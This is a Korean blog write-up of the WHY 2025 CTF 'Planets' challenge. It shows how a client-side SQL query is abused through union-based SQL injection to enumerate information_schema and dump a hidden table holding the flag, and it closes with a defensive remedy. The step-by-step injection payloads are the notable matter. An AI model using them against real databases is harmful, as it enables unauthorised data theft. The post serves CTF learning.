본문 바로가기
분류 전/CTF

[WHY 2025 CTF] Planets 풀이

by jwcs 2025. 8. 14.
728x90
반응형

기능 분석

/

행성들 소개 글이 나열되는 사이트다. 별다른 기능이 없다.

 

    <script>
        try {
            fetch("/api.php", {
                method: "POST",
                body: "query=SELECT * FROM planets",
                headers: {"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
            })
            .then(response => response.json())
            .then(response => addPlanets(response))
        } catch (error) {
            console.error(error.message);
        }
        
	function addPlanets(planets){

            let container  = document.getElementById("container");
            for (planet in planets){
                let div = document.createElement("div");
                div.classList = "planet";
    
                let h2 = document.createElement("h2");
                h2.textContent = planets[planet].name;
    
                let img = document.createElement("img");
                img.src = "images/" + planets[planet].image;
                img.alt = planets[planet].name;
    
                let p = document.createElement("p");
                p.textContent = planets[planet].description;
    
                div.appendChild(h2);
                div.appendChild(img);
                div.appendChild(p);
                container.appendChild(div);
            }
	}
    </script>

스크립트를 보면 sql 문을 스크립트로 전달해서 파일들을 가져오고 있다.

 

취약점 분석

body: "query=SELECT * FROM planets"

이 부분을 이용해서 SQL Injection이 가능하다. 필자는 union sql injection으로 문제를 풀이했다.

 

칼럼 수 확인

query=SELECT * FROM planets order by 4

union을 사용할 때 맞춰줄 칼럼 수를 찾았다.

 

데이터베이스 명 확인

query=SELECT * FROM planets union select schema_name,2,3,4 from information_schema.schemata

전체 데이터베이스 명 확인 페이로드

query=SELECT * FROM planets union select database(),2,3,4

현재 사용 중인 데이터베이스 명 확인 페이로드

 

테이블을 찾기 위해 먼저 데이터베이스를 검색해주었다.

 

테이블 명 확인

query=SELECT * FROM planets union select table_name,2,3,4 from information_schema.tables where table_schema = database()

칼럼 명을 찾기 위해 테이블 명을 찾아주었다.

 

칼럼 명 확인

query=SELECT * FROM planets union select group_concat(column_name SEPARATOR ' : '),2,3,4 from information_schema.columns where table_schema = database()

모든 행을 합치기 위해 group_concat을 사용할 수 있다. `SEPARATOR ' : '`로 기본 구분자 `,` 대신 ` : `를 사용할 수 있다.

 

요소 확인

query=SELECT * FROM planets union select concat(description,' : ',id,' : ',image,' : ',name),2,3,4 from abandoned_planets

각 칼럼들 요소를 한 번에 보기 위해서는 concat을 사용할 수 있다.

 

위와 같이 flag를 찾을 수 있었다.

 

flag{9c4dea2d8ae5681a75f8e670ac8ba999}

짜잔

 

대응 방안

  • 프론트엔드에서 SQL문을 전달하고 있다. 이렇게 사용자에게 SQL 쿼리 질의 권한을 주어서는 안된다. 백엔드에서 처리하도록 구현해야한다.

 

 

728x90
반응형

'분류 전 > CTF' 카테고리의 다른 글

[WHY 2025 CTF] Shoe Shop 1.0 풀이  (2) 2025.08.14
[WHY 2025 CTF] Buster 풀이  (2) 2025.08.14
[ShaktiCTF25] brain_games 풀이  (2) 2025.07.30
[ShaktiCTF25] Hooman 풀이  (3) 2025.07.30
[ShaktiCTF25] FRIENDS 풀이  (2) 2025.07.30